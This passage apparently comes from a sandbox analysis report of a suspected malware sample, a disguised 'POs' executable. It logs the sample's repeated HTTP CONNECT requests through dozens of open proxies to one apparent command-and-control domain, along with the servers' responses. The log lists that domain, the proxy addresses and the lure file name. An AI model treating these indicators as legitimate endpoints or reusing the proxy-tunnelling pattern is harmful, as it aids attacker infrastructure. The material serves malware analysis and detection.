HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
786	192.168.2.11	52580	5.75.192.13	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.365209103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
787	192.168.2.11	50531	146.59.18.246	25810	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.367146969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
788	192.168.2.11	51877	5.10.249.159	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.368748903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
789	192.168.2.11	52563	14.116.188.182	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.373060942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.932523966 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
790	192.168.2.11	51850	5.161.179.239	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.375374079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.438684940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.386991978 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
791	192.168.2.11	52710	172.67.253.69	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.376827002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.530992985 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
792	192.168.2.11	52586	131.186.37.99	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.378887892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
793	192.168.2.11	52733	104.19.171.188	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.379101992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.533123970 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
794	192.168.2.11	52707	74.48.7.43	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.379133940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
795	192.168.2.11	52658	107.175.37.178	43029	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.379143953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
796	192.168.2.11	52572	45.138.87.238	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.379184961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
797	192.168.2.11	52744	104.16.25.216	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.379394054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.533819914 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
798	192.168.2.11	52627	35.79.120.242	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.381231070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.650674105 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:22 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
799	192.168.2.11	52759	104.21.124.121	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.384251118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.538556099 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
800	192.168.2.11	51773	39.109.113.97	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.384612083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.485658884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.712631941 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Mon, 11 Mar 2024 15:21:07 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
801	192.168.2.11	52603	211.222.252.187	8197	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.388742924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
802	192.168.2.11	52779	172.67.182.102	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.390021086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.544323921 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
803	192.168.2.11	52784	104.20.125.124	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.390839100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.544989109 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
804	192.168.2.11	52569	109.194.22.61	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.441553116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.376097918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
805	192.168.2.11	52570	212.220.13.98	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.441792965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
806	192.168.2.11	52782	162.159.241.160	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.443758965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.604729891 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
807	192.168.2.11	52647	34.176.113.148	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.445533991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.188738108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.189137936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.876822948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:27.215138912 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
808	192.168.2.11	52587	47.103.112.86	8899	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.445713997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.397630930 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
809	192.168.2.11	52813	185.162.229.215	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.445923090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.600075006 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
810	192.168.2.11	51732	31.148.207.153	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.446208954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.868866920 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
811	192.168.2.11	52621	110.12.211.140	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.446537018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

